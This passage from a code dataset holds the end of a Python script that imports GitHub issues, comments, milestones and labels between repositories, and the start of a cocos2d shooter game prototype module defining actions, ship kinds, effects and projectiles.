the current working directory). Defaults to `config.ini` found in the same folder as this script.\")\n arg_parser.add_argument('-source_u', '--source_username', help=\"The SOURCE username of the account on the SOURCE server the issues are to be copied from. The username will not be stored anywhere if passed in as an argument.\")\n arg_parser.add_argument('-source_p', '--source_password', help=\"The SOURCE password of the account on the SOURCE server the issues are to be copied from. The username will not be stored anywhere if passed in as an argument.\")\n arg_parser.add_argument('-target_u', '--target_username', help=\"The TARGET username of the account on the TARGET server the issues are to be copied from. The username will not be stored anywhere if passed in as an argument.\")\n arg_parser.add_argument('-target_p', '--target_password', help=\"The TARGET password of the account on the TARGET server the issues are to be copied from. The username will not be stored anywhere if passed in as an argument.\")\n arg_parser.add_argument('-source_s', '--source_server', help=\"The SOURCE server which the issues should be copied from. e.g. `github.com` or `github.mycompany.com` (for enterprise).\")\n arg_parser.add_argument('-target_s', '--target_server', help=\"The TARGET server which the issues should be copied to. e.g. `github.com` or `github.mycompany.com` (for enterprise).\")\n arg_parser.add_argument('-source_r', '--source_repo', help=\"The source repository which the issues should be copied from. Should be in the format `user/repository`.\")\n arg_parser.add_argument('-target_r', '--target_repo', help=\"The destination repository which the issues should be copied to. Should be in the format `user/repository`.\")\n \n arg_parser.add_argument('--ignore-comments', dest='ignore_comments', action='store_true', help=\"Do not import comments in the issue.\") \n arg_parser.add_argument('--ignore-milestone', dest='ignore_milestone', action='store_true', help=\"Do not import the milestone attached to the issue.\")\n arg_parser.add_argument('--ignore-labels', dest='ignore_labels', action='store_true', help=\"Do not import labels attached to the issue.\")\n \n arg_parser.add_argument(\"issues\", type=int, nargs='*', help=\"The list of issues to import. If no issue ID is provided, all open issues will be imported.\");\n \n args = arg_parser.parse_args()\n \n config_file_name = default_config_file\n if (args.config): config_file_name = args.config\n \n try:\n config_file = open(config_file_name)\n config.read_file(config_file)\n except FileNotFoundError:\n sys.exit(\"ERROR: Unable to find or open config file '%s'\" % config_file_name);\n \n if (args.source_username): config.set('source', 'username', args.source_username)\n if (args.source_password): config.set('source', 'password', args.source_password)\n if (args.target_username): config.set('target', 'username', args.target_username)\n if (args.target_password): config.set('target', 'password', args.target_password)\n if (args.source_server): config.set('source', 'server', args.source_server)\n if (args.target_server): config.set('target', 'server', args.target_server)\n if (args.source_repo): config.set('source', 'repository', args.source_repo)\n if (args.target_repo): config.set('target', 'repository', args.target_repo)\n \n config.set('settings', 'import-comments', str(not args.ignore_comments))\n config.set('settings', 'import-milestone', str(not args.ignore_milestone))\n config.set('settings', 'import-labels', str(not args.ignore_labels))\n \n \n # Make sure no required config values are missing\n if not config.has_option('source','repository') :\n sys.exit(\"ERROR: There is no source repository specified either in the config file, or as an argument.\")\n if not config.has_option('target','repository') :\n sys.exit(\"ERROR: There is no target repository specified either in the config file, or as an argument.\")\n \n # Prompt for SOURCE username/password if none is provided in either the config or an argument\n if not config.has_option('source', 'username') :\n config.set('source', 'username', query.username(\"Enter your username for GitHub.com: \"))\n if not config.has_option('source', 'password') :\n config.set('source', 'password', query.password(\"Enter your password for GitHub.com: \"))\n \n # Prompt for TARGET username/password if none is provided in either the config or an argument\n if not config.has_option('target', 'username') :\n config.set('target', 'username', query.username(\"Enter your TARGET username for GitHub.com: \"))\n if not config.has_option('target', 'password') :\n config.set('target', 'password', query.password(\"Enter your TARGET password for GitHub.com: \"))\n \n \n # Everything is here! Continue on our merry way...\n global source_url, target_url\n\n # if SOURCE server is not github.com, then assume ENTERPRISE github (yourdomain.com/api/v3...)\n if (config.get('source','server') != \"github.com\") :\n source_api_server = config.get('source','server')\n source_url = \"https://%s/api/v3/repos/%s\" % (source_api_server, config.get('source','repository'))\n else :\n source_api_server = \"api.github.com\"\n source_url = \"https://%s/repos/%s\" % (source_api_server, config.get('source','repository'))\n\n # if TARGET server is not github.com, then assume ENTERPRISE github (yourdomain.com/api/v3...)\n if (config.get('target','server') != \"github.com\") :\n target_api_server = config.get('target','server')\n target_url = \"https://%s/api/v3/repos/%s\" % (target_api_server, config.get('target','repository'))\n else :\n target_api_server = \"api.github.com\"\n target_url = \"https://%s/repos/%s\" % (target_api_server, config.get('target','repository'))\n \n \n return args.issues\n\ndef format_date(datestring):\n # The date comes from the API in ISO-8601 format\n date = datetime.datetime.strptime(datestring, \"%Y-%m-%dT%H:%M:%SZ\")\n date_format = config.get('format', 'date', fallback='%A %b %d, %Y at %H:%M GMT', raw=True);\n return date.strftime(date_format)\n \ndef format_from_template(template_filename, template_data):\n from string import Template\n template_file = open(template_filename, 'r')\n template = Template(template_file.read())\n return template.substitute(template_data)\n\ndef format_issue(template_data):\n default_template = os.path.join(__location__, 'templates', 'issue.md')\n template = config.get('format', 'issue_template', fallback=default_template)\n return format_from_template(template, template_data)\n\ndef format_pull_request(template_data):\n default_template = os.path.join(__location__, 'templates', 'pull_request.md')\n template = config.get('format', 'pull_request_template', fallback=default_template)\n return format_from_template(template, template_data)\n\ndef format_comment(template_data):\n default_template = os.path.join(__location__, 'templates', 'comment.md')\n template = config.get('format', 'comment_template', fallback=default_template)\n return format_from_template(template, template_data)\n\ndef send_request(which, url, post_data=None, req_method=None):\n if (post_data != None):\n post_data = json.dumps(post_data).encode(\"utf-8\")\n \n\n req = urllib.request.Request(url,post_data)\n \n username = config.get(which,'username')\n password = config.get(which,'password')\n \n if (req_method != None):\n req.method = req_method\n \n req.add_header(\"Authorization\", b\"Basic \" + base64.urlsafe_b64encode(username.encode(\"utf-8\") + b\":\" + password.encode(\"utf-8\")))\n req.add_header(\"Content-Type\", \"application/json\")\n req.add_header(\"Accept\", \"application/json\")\n req.add_header(\"User-Agent\", \"IQAndreas/github-issues-import\")\n \n try:\n response = urllib.request.urlopen(req)\n json_data = response.read()\n except urllib.error.HTTPError as error:\n \n error_details = error.read();\n error_details = json.loads(error_details.decode(\"utf-8\"))\n print(error_details)\n if (error.code in http_error_messages):\n sys.exit(http_error_messages[error.code])\n else:\n error_message = \"ERROR: There was a problem importing the issues.\\n%s %s\" % (error.code, error.reason)\n if ('message' in error_details):\n error_message += \"\\nDETAILS: \" + error_details['message']\n sys.exit(error_message)\n \n return json.loads(json_data.decode(\"utf-8\"))\n\ndef get_milestones(which, state, url):\n if (state == \"all\") :\n return send_request(which,\"%s/milestones\" % (url))\n else :\n return send_request(which,\"%s/milestones?state=%s\" % (url, state))\n \ndef get_labels(which, url):\n return send_request(which,\"%s/labels\" % url)\n \ndef get_issue_by_id(which, url, issue_id):\n return send_request(which,\"%s/issues/%d\" % (url, issue_id))\n\ndef get_issues(which, state, url):\n issues = []\n page = 1\n while True:\n if (state == \"all\") :\n open_issues = send_request(which,\"%s/issues?state=open&direction=asc&page=%d\" % (url, page))\n closed_issues = send_request(which,\"%s/issues?state=closed&direction=asc&page=%d\" % (url, page))\n if (not open_issues and not closed_issues):\n break\n issues.extend(open_issues)\n issues.extend(closed_issues)\n else :\n new_issues = send_request(which,\"%s/issues?state=%s&direction=asc&page=%d\" % (url, state, page))\n if not new_issues:\n break\n issues.extend(new_issues)\n \n page += 1\n return issues\n\ndef get_comments_on_issue(which,issue):\n if issue['comments'] != 0:\n return send_request(which,\"%s/comments\" % issue['url'])\n else :\n return []\n\ndef import_milestone(source):\n data = {\n \"title\": source['title'],\n \"state\": source['state'],\n \"description\": source['description'],\n \"due_on\": source['due_on']\n }\n \n result_milestone = send_request(\"target\",\"%s/milestones\" % target_url, source)\n print(\"Successfully created milestone '%s'\" % result_milestone['title'])\n return result_milestone\n\ndef import_label(source):\n data = {\n \"name\": source['name'],\n \"color\": source['color']\n }\n \n result_label = send_request(\"target\",\"%s/labels\" % target_url, source)\n print(\"Successfully created label '%s'\" % result_label['name'])\n return result_label\n\ndef import_comments(comments, issue_number):\n result_comments = []\n for comment in comments:\n \n template_data = {}\n template_data['comment_creator_username'] = comment['user']['login']\n template_data['comment_creator_url'] = comment['user']['html_url']\n template_data['comment_date'] = format_date(comment['created_at'])\n template_data['comment_url'] = comment['html_url']\n template_data['comment_body'] = comment['body']\n \n comment['body'] = format_comment(template_data)\n\n result_comment = send_request(\"target\",\"%s/issues/%s/comments\" % (target_url, issue_number), comment)\n result_comments.append(result_comment)\n \n return result_comments\n\n# Will only import milestones and issues that are in use by the imported issues, and do not exist in the target repository\ndef import_issues(state, issues):\n \n known_milestones = get_milestones(\"target\", state, target_url)\n def get_milestone_by_title(title):\n for milestone in known_milestones:\n if milestone['title'] == title : return milestone\n return None\n \n known_labels = get_labels(\"target\",target_url)\n def get_label_by_name(name):\n for label in known_labels:\n if label['name'] == name : return label\n return None\n \n new_issues = []\n closed_issues = []\n num_new_comments = 0\n new_milestones = []\n new_labels = []\n \n for issue in issues:\n new_issue = {}\n new_issue['title'] = issue['title']\n if config.getboolean('settings', 'import-comments') and 'comments' in issue and issue['comments'] != 0:\n num_new_comments += int(issue['comments'])\n new_issue['comments'] = get_comments_on_issue(\"source\",issue)\n \n if config.getboolean('settings', 'import-milestone') and 'milestone' in issue and issue['milestone'] is not None:\n # Since the milestones' ids are going to differ, we will compare them by title instead\n found_milestone = get_milestone_by_title(issue['milestone']['title'])\n if found_milestone:\n new_issue['milestone_object'] = found_milestone\n else:\n new_milestone = issue['milestone']\n new_issue['milestone_object'] = new_milestone\n known_milestones.append(new_milestone) # Allow it to be found next time\n new_milestones.append(new_milestone) # Put it in a queue to add it later\n \n if config.getboolean('settings', 'import-labels') and 'labels' in issue and issue['labels'] is not None:\n new_issue['label_objects'] = []\n for issue_label in issue['labels']:\n found_label = get_label_by_name(issue_label['name'])\n if found_label:\n new_issue['label_objects'].append(found_label)\n else:\n new_issue['label_objects'].append(issue_label)\n known_labels.append(issue_label) # Allow it to be found next time\n new_labels.append(issue_label) # Put it in a queue to add it later\n \n template_data = {}\n template_data['issue_creator_username'] = issue['user']['login']\n template_data['issue_creator_url'] = issue['user']['html_url']\n template_data['issue_date'] = format_date(issue['created_at'])\n template_data['issue_url'] = issue['html_url']\n template_data['issue_body'] = issue['body']\n \n if \"pull_request\" in issue and issue['pull_request']['html_url'] is not None:\n new_issue['body'] = format_pull_request(template_data)\n else:\n new_issue['body'] = format_issue(template_data)\n \n new_issues.append(new_issue)\n \n if (issue['state'] == \"closed\") :\n close_issue = {}\n close_issue['number'] = issue['number']\n close_issue['state'] = \"closed\"\n closed_issues.append(close_issue)\n \n print(\"You are about to add to '\" + config.get('target','repository') + \"':\")\n print(\" *\", len(new_issues), \"creating issues\") \n print(\" *\", len(closed_issues), \"closing issues\") \n print(\" *\", num_new_comments, \"new comments\") \n print(\" *\", len(new_milestones), \"new milestones\") \n print(\" *\", len(new_labels), \"new labels\") \n if not query.yes_no(\"Are you sure you wish to continue?\"):\n sys.exit()\n \n for milestone in new_milestones:\n result_milestone = import_milestone(state, milestone)\n milestone['number'] = result_milestone['number']\n milestone['url'] = result_milestone['url']\n \n for label in new_labels:\n result_label = import_label(label)\n \n result_issues = []\n for issue in new_issues:\n if 'milestone_object' in issue:\n issue['milestone'] = issue['milestone_object']['number']\n del issue['milestone_object']\n \n if 'label_objects' in issue:\n issue_labels = []\n for label in issue['label_objects']:\n issue_labels.append(label['name'])\n issue['labels'] = issue_labels\n del issue['label_objects']\n \n result_issue = send_request(\"target\",\"%s/issues\" % target_url, issue)\n print(\"Successfully created issue '%s'\" % result_issue['title'])\n \n if 'comments' in issue:\n result_comments = import_comments(issue['comments'], result_issue['number']) \n print(\" > Successfully added\", len(result_comments), \"comments.\")\n \n result_issues.append(result_issue)\n \n for issue in closed_issues:\n result_issue = send_request(\"target\",\"%s/issues/%d\" % (target_url,issue['number']), issue, 'PATCH')\n print(\"Successfully closed issue '%s'\" % result_issue['title'])\n \n #result_issues.append(result_issue)\n\n return result_issues\ndef import_some_issues(issue_ids):\n # Populate issues based on issue IDs\n issues = []\n for issue_id in issue_ids:\n issues.append(get_issue_by_id(\"source\",source_url, int(issue_id)))\n \n return import_issues(issues)\n\ndef import_open_issues():\n # Populate issues based on issue IDs\n issues = []\n \n issues.append(get_issues(\"source\",\"open\",source_url))\n \n return import_issues(issues)\n\ndef import_closed_issues():\n # Populate issues based on issue IDs\n issues = []\n issues.append(get_issues(\"source\",\"closed\",source_url))\n \n return import_issues(issues)\n\ndef import_all_issues():\n issues = get_issues(\"source\",\"all\",source_url)\n return import_issues(\"all\",issues)\n\nif __name__ == '__main__':\n \n issue_ids = init_config()\n \n if (len(issue_ids) > 0):\n import_some_issues(issue_ids)\n else:\n import_all_issues()\n \n\n","sub_path":"gh-issues-import.py","file_name":"gh-issues-import.py","file_ext":"py","file_size_in_byte":18820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"171171696","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n'''\nShuan gameplay prototype core module\n\n(c) 2012 Opensource Game Studio Team (http://opengamestudio.org)\n'''\n\nfrom cocos import menu, layer, scene, scenes, text, sprite, euclid, cocosnode, batch\nimport math\nimport random\nimport copy\nfrom helpers import *\n\n'''\nCONSTANTS\n'''\nEMPTY = -1\nPROJECTILE = 0\nRAY = 1\nTURRET = 2\nSPAWN = 3\nAURA = 4\nEFFECT = 5 \n\nSLOTGUN = 0\nSLOTWEAPON = 1\nSLOTDEVICE = 2\nSLOTNONE = 3\n\nEGSIMPLE = 0\nEGNOSHIELDS = 1\nEGBOOSTSHIELDS = 2\n\n'''\nACTION CLASSES\n'''\nclass ActionDie(actions.InstantAction):\n def start(self):\n self.target.kill()\n\nclass ActionAim(actions.InstantAction):\n def init(self, selector=None):\n self.selector = selector\n def start(self):\n actor = self.target\n selector = self.selector\n target = None\n if selector == 'Avatar':\n target = currents['avatarObject']\n elif selector == 'AvatarTarget':\n target = currents['layerObject'].target\n elif selector == 'AnyFriend':\n target = random.choice(currents['layerObject'].avatarHelpers)\n elif selector == 'AnyEnemy':\n if currents['layerObject'].enemies:\n target = random.choice(currents['layerObject'].enemies)\n elif selector == 'Last':\n if actor._target:\n target = actor._target\n \n actor._target = target\n\nclass ActionShoot(ActionAim):\n def start(self):\n actor = self.target\n selector = self.selector\n target = None\n if selector == 'Avatar':\n target = currents['avatarObject']\n elif selector == 'AvatarTarget':\n target = currents['layerObject'].target\n elif selector == 'AnyFriend':\n target = random.choice(currents['layerObject'].avatarHelpers)\n elif selector == 'AnyEnemy':\n if currents['layerObject'].enemies:\n target = random.choice(currents['layerObject'].enemies)\n elif selector == 'Last':\n if actor._target:\n target = actor._target\n \n self.target.shoot(target)\n\nclass ActionStopShooting(actions.InstantAction):\n def start(self):\n self.target.stopShooting()\n\nclass ActionAimMovement(actions.InstantAction):\n def __init__(self, selector, speed, duration, bx1=0, by1=0, bx2=1, by2=1):\n super(ActionAimMovement, self).__init__()\n self.speed = speed\n self.duration = duration\n self.selector = selector\n self.bounds = (bx1, by1, bx2, by2)\n \n def start(self):\n actor = self.target\n \n selector = self.selector\n target = None\n if selector == 'Avatar':\n target = currents['avatarObject']\n elif selector == 'AvatarTarget':\n target = currents['layerObject'].target\n elif selector == 'AnyFriend':\n target = random.choice(currents['layerObject'].avatarHelpers)\n elif selector == 'AnyEnemy':\n if currents['layerObject'].enemies:\n target = random.choice(currents['layerObject'].enemies)\n elif selector == 'Last':\n if actor._target:\n target = actor._target\n \n if not target:\n actor.do(actions.Delay(self.duration))\n return\n \n destination = list(abs2rel(*target.position))\n if self.bounds:\n bounds = self.bounds \n destination[0] = max(destination[0], bounds[0])\n destination[1] = max(destination[1], bounds[1])\n destination[0] = min(destination[0], bounds[2])\n destination[1] = min(destination[1], bounds[3])\n \n destination = rel(*destination)\n \n deltaY = destination[1] - actor.position[1]\n deltaX = destination[0] - actor.position[0]\n dist = math.sqrt(deltaX**2 + deltaY**2)\n if self.speed:\n dur = dist/self.speed\n coeff = self.duration/dur\n else:\n coeff = 1\n actor.do(actions.MoveBy((deltaX*coeff, deltaY*coeff), duration = self.duration))\n\nclass ActionRandomMovement(actions.IntervalAction):\n def init(self, duration, bx1=0, by1=0, bx2=1, by2=1):\n self.duration = duration\n self.initial = None\n self.destination = None\n self.bounds = (bx1, by1, bx2, by2)\n\n def update(self, t):\n if self.initial == None:\n self.initial = self.target.position\n destination = [random.random(), random.random()]\n if self.bounds:\n bounds = self.bounds \n destination[0] = max(destination[0], bounds[0])\n destination[1] = max(destination[1], bounds[1])\n destination[0] = min(destination[0], bounds[2])\n destination[1] = min(destination[1], bounds[3])\n self.destination = rel(*destination)\n \n x = self.initial[0] + (self.destination[0] - self.initial[0]) * t\n y = self.initial[1] - (self.initial[1] - self.destination[1]) * t\n self.target.position = x,y\n\nclass ActionSwitchState(actions.InstantAction):\n def init(self, state):\n self.state = state\n \n def start(self):\n actor = self.target\n idx = self.state\n states = actor._kind.states\n if len(states) >= idx:\n acts = states[idx - 1]\n else:\n acte = actor.actions\n actor.stop()\n actor.actions = acts\n actor.do(acts)\n\nclass ActionSwitchWeapons(actions.InstantAction):\n def init(self, set):\n self.set = set\n \n def start(self):\n actor = self.target\n idx = self.set\n if len(actor.sets) >= idx:\n weapons = actor.set[idx - 1]\n else:\n weapons = actor.weapons\n actor.stopShooting()\n actor.weapons = weapons\n\nclass ActionMoveTo(actions.MoveTo):\n def __init__(self, x, y, duration, randomOffsetX=0, randomOffsetY=0):\n x, y = rel(x, y)\n randomOffsetX, randomOffsetY = rel(randomOffsetX, randomOffsetY)\n nx, ny = x + int((random.random() - 0.5)*randomOffsetX), y + int((random.random() - 0.5)*randomOffsetY), \n super(ActionMoveTo, self).__init__((nx, -ny), duration=duration)\n\nclass ActionMoveBy(actions.MoveBy):\n def __init__(self, x, y, duration, randomOffsetX=0, randomOffsetY=0):\n x, y = rel(x, y)\n randomOffsetX, randomOffsetY = rel(randomOffsetX, randomOffsetY)\n nx, ny = x + int((random.random() - 0.5)*randomOffsetX), y + int((random.random() - 0.5)*randomOffsetY),\n super(ActionMoveBy, self).__init__((nx, ny), duration=duration)\n\nclass ActionFadeTimescale(actions.IntervalAction ):\n '''\n WARNING: Use it for ASprite and it's subclasses only\n '''\n def init( self, ts, duration ):\n self.duration = duration\n self.originalTs = None\n self.ts = ts\n\n def update( self, t ):\n if self.originalTs == None:\n self.originalTs = self.target.timeScale\n ts = self.originalTs + (self.ts - self.originalTs) * t\n self.target.setTimeScale(ts)\n\n'''\nLIBRARY ENTRIES\n'''\nadata['aDie'] = ActionDie()\n\n'''\nMAIN KINDS\n'''\nclass DeviceKind(object):\n position = 0, 9\n damage = 2\n energy = 20\n energyIdle = 5 \n damageToShieldsMod = 1\n ammo = 0\n isGood = True\n name = \"Unknown device\"\n image = \"\"\n \n type = PROJECTILE\n # Projectile and turret params\n velocity = 0, 1600\n lifetime = 0.5\n pof = 1\n \n # Turret params\n rotation = False\n keepTarget = False\n \n # Projectile params\n directions = 0\n angle = 0\n spread = 0\n oneByOne = False\n \n # Ray params\n anchor = 0, 0\n \n # Spawn params\n spawnID = ''\n \n # Effect and Aura params\n runner = None\n \n # Sound\n startSound = None\n loopSound = None\n endSound = None\n soundVolume = 0.5\n \n def __init__(self, dx=0, dy=0):\n super(DeviceKind, self).__init__()\n self.position = self.position[0] + dx, self.position[1] + dy \n if not self.startSound is None:\n self.startSound = loadSound(self.startSound, self.soundVolume)\n if not self.endSound is None:\n self.endSound = loadSound(self.endSound, self.soundVolume)\n if not self.loopSound is None:\n self.loopSound = loadSound(self.loopSound, self.soundVolume)\n \n if self.ammo == 0:\n self.infinite = True\n else:\n self.infinite = False\n \n if self.oneByOne:\n self.tick = 0\n self.amod = 1\n\nclass AvatarKind(object):\n image = loadAnimation('data/graphics/avatarShip.png', 3, 1, 0.1, True)\n life = 100\n engine = 1\n weapons = ()\n weaponSlots = ()\n deviceSlots = (1, 2, 3)\n name = 'Avatar'\n \n def __init__(self):\n super(AvatarKind, self).__init__()\n\nclass NPCKind(object):\n image = loadAnimation('data/graphics/enemy1.png', 2, 1, 0.5, True)\n life = 10\n shields = 0\n shieldsRegen = 0\n damage = 10\n score = 1\n brains = tuple()\n sets = tuple()\n weapons = tuple()\n \n def __init__(self):\n super(NPCKind, self).__init__()\n \n states = []\n for i in self.brains:\n l = loadScript(i)\n blocks = [[]]\n for j in l:\n if j[0] == 'New':\n if blocks[-1]:\n blocks.append([j])\n elif j[0] == 'Repeat':\n if blocks[-1]:\n if blocks[-1][-1][0] == 'New':\n blocks[-1].append(j)\n else:\n blocks.append([j])\n else:\n blocks[-1].append(j)\n else:\n blocks[-1].append(j)\n states.append(self.translate(blocks))\n self.states = states\n \n if states:\n if states[0]:\n self.actions = states[0]\n \n def translate(self, blocks):\n commands = {\n 'SelectTarget': ActionAim,\n 'AimMove': ActionAimMovement,\n 'Wait': actions.Delay,\n 'Die': ActionDie,\n 'MoveBy': ActionMoveBy,\n 'MoveTo': ActionMoveTo,\n 'RandomDelay': actions.RandomDelay,\n 'RandomMovement': ActionRandomMovement,\n 'Shoot': ActionShoot,\n 'StopShooting': ActionStopShooting,\n 'SwitchStates': ActionSwitchState,\n 'SwitchWeapons': ActionSwitchWeapons,\n }\n \n isLoop = False\n isNew = False \n acts = None\n \n for block in blocks:\n if block[0][0] == 'New':\n isNew = True\n del block[0]\n else:\n isNew = False\n if block:\n if block[0][0] == 'Repeat':\n isLoop = True\n del block[0]\n else:\n isLoop = False\n \n if block:\n cmd = block[0]\n current_acts = commands[cmd[0]](*cmd[1:])\n del block[0]\n \n for cmd in block:\n current_acts += commands[cmd[0]](*cmd[1:])\n \n if isLoop:\n current_acts = actions.Repeat(current_acts)\n \n if acts and not isNew:\n acts += current_acts\n if acts and isNew:\n acts = acts | current_acts\n else:\n acts = current_acts\n return acts\n\nclass EffectKind(object):\n name = 'Null'\n duration = 0\n group = EGSIMPLE\n \n def start(self, instance):\n pass\n \n def effect(self, target):\n pass\n \n def check(self, target):\n return True\n \n def end(self, target):\n pass\n\n'''\nEFFECTS\n'''\nclass RechargerKind(EffectKind):\n name = \"Recharge\"\n duration = 2\n \n def start(self, instance):\n target = instance.target\n for i in target.runners:\n if i.group == EGNOSHIELDS:\n i.timeToDie = True\n target.playShield(1)\n \n def check(self, instance):\n if instance.target.absorbedDamage == 0:\n return False\n else:\n return True\n \n def effect(self, target):\n if target.absorbedDamage > 0:\n target.absorbedDamage -= 10\n\nclass ShieldOverloadKind(EffectKind):\n name = 'Shields overloaded'\n group = EGNOSHIELDS\n \n def start(self, instance):\n target = instance.target\n instance.duration = target.shields / target.shieldsRegen\n target.playShield(-1)\n \n def effect(self, target):\n target.absorbedDamage = target.shields\n \n def end(self, instance):\n if not instance.timeToDie:\n target = instance.target\n target.absorbedDamage = target.shields * 3 / 4\n target.playShield(1)\n\nclass DefenderKind(EffectKind):\n name = \"Defended\"\n distance = 200\n \n def start(self, instance):\n target = instance.target\n target.shields += 80\n target.shieldsRegen += 8\n target.playShield(1)\n \n def check(self, instance):\n if instance.source._gonnaDie:\n return False\n s = instance.source.position\n t = instance.target.position\n return (s[0] - t[0])**2 + (s[1] - t[1])**2 <= self.distance**2 \n \n def end(self, instance):\n target = instance.target\n target.shields -= 80\n target.shieldsRegen -= 8 \n if target.shields == 0:\n target.playShield(-1)\n\neffectsData['eOverload'] = ShieldOverloadKind()\neffectsData['eRecharge'] = RechargerKind()\neffectsData['eDefend'] = DefenderKind()\n\n'''\nMAIN GAME ELEMENTS\n'''\nclass ASprite(sprite.Sprite):\n class ActionScalableInterval(actions.Action):\n def init(self, one, ts=1):\n self.one = one\n self.timeScale = ts\n \n def start(self):\n self.current_action = copy.deepcopy(self.one)\n self.current_action.target = self.target\n self.current_action.start()\n \n def step(self, dt):\n self._elapsed += dt*self.timeScale\n self.current_action.step(dt*self.timeScale)\n if self.current_action.done():\n self.current_action.stop()\n self._done = True\n \n def stop(self):\n if not self._done:\n self.current_action.stop()\n \n def setTimeScale(self, ts):\n self.timeScale = ts\n \n def __init__(self, *args):\n super(ASprite, self).__init__(*args)\n self.timeScale = 1\n \n def do(self, action):\n new = self.ActionScalableInterval(action, self.timeScale)\n super(ASprite, self).do(new)\n \n def doUnscaled(self, action):\n super(ASprite, self).do(action)\n \n def setTimeScale(self, ts):\n self.timeScale = ts\n for j in self.actions:\n if issubclass(j.__class__, self.ActionScalableInterval):\n j.setTimeScale(ts)\n\nclass EffectRunner(batch.BatchableNode):\n \n def __init__(self, kind, target, source=None):\n super(EffectRunner, self).__init__()\n self.target = target\n self.name = kind.name\n self.group = kind.group\n self.duration = kind.duration\n if source == None:\n self.source = target\n else:\n self.source = source\n kind.start(self)\n \n if self.duration == 0:\n self.constant = True\n else:\n self.constant = False\n \n self.effect = kind.effect\n self.check = kind.check\n self.end = kind.end\n target.runners.append(self)\n self.schedule_interval(self.update, 1)\n target.add(self)\n self.timeToDie = False\n \n def set_batch(self, batch, groups=None, z=0):\n pass\n \n def update(self, *args):\n l = self.target.runners\n if (not self.check(self)) or self.timeToDie:\n self.end(self)\n if self in l:\n l.remove(self)\n self.kill()\n elif not self.constant:\n self.duration -= 1\n if self.duration == 0:\n self.end(self)\n if self in l:\n l.remove(self)\n self.kill()\n\nclass Bullet(ASprite):\n def __init__(self, owner, kind, target=None, angle=0):\n super(Bullet, self).__init__(kind.image)\n self.position = owner.position[0] + kind.position[0], owner.position[1] + kind.position[1]\n self.damage = kind.damage\n if angle == 0:\n self.velocity = kind.velocity\n self.rotation = 0\n else:\n speed = kind.velocity[1]\n a = (90 - angle)/57.3\n self.velocity = speed * math.cos(a), speed * math.sin(a)\n self.rotation = angle\n self.isGood = kind.isGood\n self._needRotate = kind.rotation\n self._kind = kind\n self._speed = kind.velocity[1]\n self.damageToShieldMod = kind.damageToShieldMod\n\n lifetime = kind.lifetime\n \n if self.isGood:\n currents['layerObject'].avatarBullets.append(self)\n else:\n currents['layerObject'].enemyBullets.append(self)\n \n if not target is None:\n self.aim(target)\n if kind.keepTarget:\n self.target = target\n self.schedule_interval(self.reAim, 0.1)\n \n used = bulletsUsed.get(kind, [])\n used.append(self)\n bulletsUsed[kind] = used\n \n currents['layerObject'].add(self, z=5)\n self._actions = adata['aMove'] | actions.Delay(lifetime) + adata['aDie']\n self.do(self._actions)\n \n def aim(self, target=None):\n speed = abs(self._kind.velocity[1])\n angle = math.atan2(target.position[1] - self.position[1], target.position[0] - self.position[0])\n dy = speed * math.sin(angle)\n dx = speed * math.cos(angle)\n self.velocity = dx, dy\n if self._needRotate:\n self.rotation = int(90 - angle*57.3)\n \n def reAim(self, *args):\n if self.target == None or self.target._gonnaDie:\n self.unschedule(self.reAim)\n return\n else:\n speed = self._speed\n target = self.target\n angle = math.atan2(target.position[1] - self.position[1], target.position[0] - self.position[0])\n dy = speed * math.sin(angle)\n dx = speed * math.cos(angle)\n self.velocity = dx, dy\n if self._needRotate:\n self.rotation = int(90 - angle*57.3)\n \n def kill(self):\n if self.isGood:\n currents['layerObject'].avatarBullets.remove(self)\n else:\n currents['layerObject'].enemyBullets.remove(self)\n if self._kind.keepTarget:\n self.unschedule(self.reAim)\n \n kind = self._kind\n bulletsUsed[kind].remove(self)\n free = bulletsFree.get(kind, [])\n free.append(self)\n bulletsFree[kind] = free\n currents['layerObject'].remove(self)\n self.stop()\n \n def reinstate(self, owner, target=None, angle=0):\n kind = self._kind\n self.position = owner.position[0] + kind.position[0], owner.position[1] + kind.position[1]\n if angle == 0:\n self.velocity = kind.velocity\n self.rotation = 0\n else:\n speed = kind.velocity[1]\n a = (90 - angle)/57.3\n self.velocity = speed * math.cos(a), speed * math.sin(a)\n self.rotation = angle\n \n if self.isGood:\n currents['layerObject'].avatarBullets.append(self)\n else:\n currents['layerObject'].enemyBullets.append(self)\n \n if not target is None:\n self.aim(target)\n if kind.keepTarget:\n self.target = target\n self.schedule_interval(self.reAim, 0.1)\n \n bulletsFree[kind].remove(self)\n bulletsUsed[kind].append(self)\n \n currents['layerObject'].add(self, z=5)\n self.do(self._actions)\n\nclass Ray(ASprite):\n def __init__(self, owner, kind):\n super(Ray, self).__init__(kind.image)\n self.image_anchor = kind.anchor\n self._kind = kind\n self.rotation = kind.rayRotation\n self.offset = (kind.position[0], kind.position[1])\n self.position = owner.position[0] + kind.position[0], owner.position[1] + kind.position[1]\n self.damage = kind.damage\n self.isGood = kind.isGood\n self.layer = owner.owner\n self.owner = owner\n self.timeScale = owner.timeScale\n if self.isGood:\n self.layer.avatarRay.append(self)\n else:\n self.layer.enemyRay.append(self)\n self.damageToShieldMod = kind.damageToShieldMod\n \n self.layer.add(self, z=1)\n \n def kill(self):\n if self.isGood:\n self.layer.avatarRay.remove(self)\n else:\n self.layer.enemyRay.remove(self)\n self.owner.rays.remove(self)\n super(Ray, self).kill()\n\nclass Avatar(ASprite):\n\n \n def __init__(self, owner, kind):\n self.settings = Settings()\n super(Avatar, self).__init__(kind.image)\n self.owner = owner\n self.life = kind.life\n self._kind = kind\n self.shields = 0\n self.shieldsRegen = 0\n self.absorbedDamage = 0.0\n self.takenDamage = 0\n self.weapons = tuple()\n self.devices = tuple()\n self._wSlots = kind.weaponSlots\n self._dSlots = kind.deviceSlots\n self.engine = kind.engine\n self.consume = 0\n self.hp = self.life\n self.sp = self.shields\n self.runners = []\n self.schedule_interval(self.regen, 0.1)\n self._gonnaDie = False\n self.damage = self.life\n self.damageToShieldMod = 1\n \n def setup(self, gunsList, weaponsList, devicesList, shieldsList, enginesList, reactorList):\n settings = self.settings\n self.shields = shieldsList[settings.avatarShields][1]\n self.shieldsRegen = shieldsList[settings.avatarShields][2]\n self.engine = enginesList[settings.avatarEngine][1]\n self.reactor = reactorList[settings.avatarReactor][1]\n self.consume = enginesList[settings.avatarEngine][2] + shieldsList[settings.avatarShields][3]\n weapons = []\n if len(self._wSlots) >= 1:\n weapons.append(gunsList[settings.avatarGun](self._wSlots[0]))\n self.consume += 